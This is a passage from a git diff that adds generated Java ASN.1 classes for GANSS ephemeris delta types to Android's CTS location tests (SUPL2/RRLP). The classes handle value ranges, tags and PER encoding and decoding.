+ public static bitsize_delta_crsType fromPerAligned(byte[] encodedBytes) {
+ bitsize_delta_crsType result = new bitsize_delta_crsType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bitsize_delta_crsType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bitsize_delta_cisType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_bitsize_delta_cisType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bitsize_delta_cisType() {
+ super();
+ setValueRange("1", "16");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bitsize_delta_cisType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bitsize_delta_cisType != null) {
+ return ImmutableList.of(TAG_bitsize_delta_cisType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bitsize_delta_cisType from encoded stream.
+ */
+ public static bitsize_delta_cisType fromPerUnaligned(byte[] encodedBytes) {
+ bitsize_delta_cisType result = new bitsize_delta_cisType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bitsize_delta_cisType from encoded stream.
+ */
+ public static bitsize_delta_cisType fromPerAligned(byte[] encodedBytes) {
+ bitsize_delta_cisType result = new bitsize_delta_cisType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bitsize_delta_cisType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bitsize_delta_cusType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_bitsize_delta_cusType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bitsize_delta_cusType() {
+ super();
+ setValueRange("1", "16");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bitsize_delta_cusType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bitsize_delta_cusType != null) {
+ return ImmutableList.of(TAG_bitsize_delta_cusType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bitsize_delta_cusType from encoded stream.
+ */
+ public static bitsize_delta_cusType fromPerUnaligned(byte[] encodedBytes) {
+ bitsize_delta_cusType result = new bitsize_delta_cusType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bitsize_delta_cusType from encoded stream.
+ */
+ public static bitsize_delta_cusType fromPerAligned(byte[] encodedBytes) {
+ bitsize_delta_cusType result = new bitsize_delta_cusType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bitsize_delta_cusType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bitsize_delta_crcType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_bitsize_delta_crcType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bitsize_delta_crcType() {
+ super();
+ setValueRange("1", "16");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bitsize_delta_crcType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bitsize_delta_crcType != null) {
+ return ImmutableList.of(TAG_bitsize_delta_crcType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bitsize_delta_crcType from encoded stream.
+ */
+ public static bitsize_delta_crcType fromPerUnaligned(byte[] encodedBytes) {
+ bitsize_delta_crcType result = new bitsize_delta_crcType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bitsize_delta_crcType from encoded stream.
+ */
+ public static bitsize_delta_crcType fromPerAligned(byte[] encodedBytes) {
+ bitsize_delta_crcType result = new bitsize_delta_crcType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bitsize_delta_crcType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bitsize_delta_cicType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_bitsize_delta_cicType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bitsize_delta_cicType() {
+ super();
+ setValueRange("1", "16");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bitsize_delta_cicType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bitsize_delta_cicType != null) {
+ return ImmutableList.of(TAG_bitsize_delta_cicType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bitsize_delta_cicType from encoded stream.
+ */
+ public static bitsize_delta_cicType fromPerUnaligned(byte[] encodedBytes) {
+ bitsize_delta_cicType result = new bitsize_delta_cicType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bitsize_delta_cicType from encoded stream.
+ */
+ public static bitsize_delta_cicType fromPerAligned(byte[] encodedBytes) {
+ bitsize_delta_cicType result = new bitsize_delta_cicType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bitsize_delta_cicType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bitsize_delta_cucType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_bitsize_delta_cucType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bitsize_delta_cucType() {
+ super();
+ setValueRange("1", "16");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bitsize_delta_cucType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bitsize_delta_cucType != null) {
+ return ImmutableList.of(TAG_bitsize_delta_cucType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bitsize_delta_cucType from encoded stream.
+ */
+ public static bitsize_delta_cucType fromPerUnaligned(byte[] encodedBytes) {
+ bitsize_delta_cucType result = new bitsize_delta_cucType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bitsize_delta_cucType from encoded stream.
+ */
+ public static bitsize_delta_cucType fromPerAligned(byte[] encodedBytes) {
+ bitsize_delta_cucType result = new bitsize_delta_cucType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bitsize_delta_cucType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bitsize_delta_tgd1Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_bitsize_delta_tgd1Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bitsize_delta_tgd1Type() {
+ super();
+ setValueRange("1", "10");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bitsize_delta_tgd1Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bitsize_delta_tgd1Type != null) {
+ return ImmutableList.of(TAG_bitsize_delta_tgd1Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bitsize_delta_tgd1Type from encoded stream.
+ */
+ public static bitsize_delta_tgd1Type fromPerUnaligned(byte[] encodedBytes) {
+ bitsize_delta_tgd1Type result = new bitsize_delta_tgd1Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bitsize_delta_tgd1Type from encoded stream.
+ */
+ public static bitsize_delta_tgd1Type fromPerAligned(byte[] encodedBytes) {
+ bitsize_delta_tgd1Type result = new bitsize_delta_tgd1Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bitsize_delta_tgd1Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bitsize_delta_tgd2Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_bitsize_delta_tgd2Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bitsize_delta_tgd2Type() {
+ super();
+ setValueRange("1", "10");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bitsize_delta_tgd2Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bitsize_delta_tgd2Type != null) {
+ return ImmutableList.of(TAG_bitsize_delta_tgd2Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bitsize_delta_tgd2Type from encoded stream.
+ */
+ public static bitsize_delta_tgd2Type fromPerUnaligned(byte[] encodedBytes) {
+ bitsize_delta_tgd2Type result = new bitsize_delta_tgd2Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bitsize_delta_tgd2Type from encoded stream.
+ */
+ public static bitsize_delta_tgd2Type fromPerAligned(byte[] encodedBytes) {
+ bitsize_delta_tgd2Type result = new bitsize_delta_tgd2Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bitsize_delta_tgd2Type = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSEphemerisDeltaBitSizes = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisDeltaEpoch.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisDeltaEpoch.java
new file mode 100755
index 0000000..c317828
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisDeltaEpoch.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSEphemerisDeltaEpoch extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSEphemerisDeltaEpoch
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSEphemerisDeltaEpoch() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSEphemerisDeltaEpoch;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSEphemerisDeltaEpoch != null) {
+ return ImmutableList.of(TAG_GANSSEphemerisDeltaEpoch);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSEphemerisDeltaEpoch from encoded stream.
+ */
+ public static GANSSEphemerisDeltaEpoch fromPerUnaligned(byte[] encodedBytes) {
+ GANSSEphemerisDeltaEpoch result = new GANSSEphemerisDeltaEpoch();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSEphemerisDeltaEpoch from encoded stream.
+ */
+ public static GANSSEphemerisDeltaEpoch fromPerAligned(byte[] encodedBytes) {
+ GANSSEphemerisDeltaEpoch result = new GANSSEphemerisDeltaEpoch();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSSDeltaEpochHeader ganssDeltaEpochHeader_;
+ public GANSSDeltaEpochHeader getGanssDeltaEpochHeader() {
+ return ganssDeltaEpochHeader_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSDeltaEpochHeader
+ */
+ public void setGanssDeltaEpochHeader(Asn1Object value) {
+ this.ganssDeltaEpochHeader_ = (GANSSDeltaEpochHeader) value;
+ }
+ public GANSSDeltaEpochHeader setGanssDeltaEpochHeaderToNewInstance() {
+ ganssDeltaEpochHeader_ = new GANSSDeltaEpochHeader();
+ return ganssDeltaEpochHeader_;
+ }
+
+ private GANSSDeltaElementList ganssDeltaElementList_;
+ public GANSSDeltaElementList getGanssDeltaElementList() {
+ return ganssDeltaElementList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSDeltaElementList
+ */
+ public void setGanssDeltaElementList(Asn1Object value) {
+ this.ganssDeltaElementList_ = (GANSSDeltaElementList) value;
+ }
+ public GANSSDeltaElementList setGanssDeltaElementListToNewInstance() {
+ ganssDeltaElementList_ = new GANSSDeltaElementList();
+ return ganssDeltaElementList_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssDeltaEpochHeader() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssDeltaEpochHeader();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssDeltaEpochHeaderToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSDeltaEpochHeader.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssDeltaEpochHeader : "
+ + getGanssDeltaEpochHeader().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssDeltaElementList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssDeltaElementList();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssDeltaElementListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSDeltaElementList.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssDeltaElementList : "
+ + getGanssDeltaElementList().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSEphemerisDeltaEpoch = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisDeltaMatrix.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisDeltaMatrix.java
new file mode 100755
index 0000000..abf5b19
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisDeltaMatrix.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GANSSEphemerisDeltaMatrix
+ extends Asn1SequenceOf<GANSSEphemerisDeltaEpoch> {
+ //
+
+ private static final Asn1Tag TAG_GANSSEphemerisDeltaMatrix
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSEphemerisDeltaMatrix() {
+ super();
+ setMinSize(1);
+setMaxSize(128);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSEphemerisDeltaMatrix;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSEphemerisDeltaMatrix != null) {
+ return ImmutableList.of(TAG_GANSSEphemerisDeltaMatrix);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSEphemerisDeltaMatrix from encoded stream.
+ */
+ public static GANSSEphemerisDeltaMatrix fromPerUnaligned(byte[] encodedBytes) {
+ GANSSEphemerisDeltaMatrix result = new GANSSEphemerisDeltaMatrix();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSEphemerisDeltaMatrix from encoded stream.
+ */
+ public static GANSSEphemerisDeltaMatrix fromPerAligned(byte[] encodedBytes) {
+ GANSSEphemerisDeltaMatrix result = new GANSSEphemerisDeltaMatrix();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public GANSSEphemerisDeltaEpoch createAndAddValue() {
+ GANSSEphemerisDeltaEpoch value = new GANSSEphemerisDeltaEpoch();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSEphemerisDeltaMatrix = [\n");
+ final String internalIndent = indent + " ";
+ for (GANSSEphemerisDeltaEpoch value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisDeltaScales.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisDeltaScales.java
new file mode 100755
index 0000000..cc1e4c9
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisDeltaScales.java
@@ -0,0 +1,2562 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSEphemerisDeltaScales extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSEphemerisDeltaScales
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSEphemerisDeltaScales() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSEphemerisDeltaScales;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSEphemerisDeltaScales != null) {
+ return ImmutableList.of(TAG_GANSSEphemerisDeltaScales);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSEphemerisDeltaScales from encoded stream.
+ */
+ public static GANSSEphemerisDeltaScales fromPerUnaligned(byte[] encodedBytes) {
+ GANSSEphemerisDeltaScales result = new GANSSEphemerisDeltaScales();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSEphemerisDeltaScales from encoded stream.
+ */
+ public static GANSSEphemerisDeltaScales fromPerAligned(byte[] encodedBytes) {
+ GANSSEphemerisDeltaScales result = new GANSSEphemerisDeltaScales();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
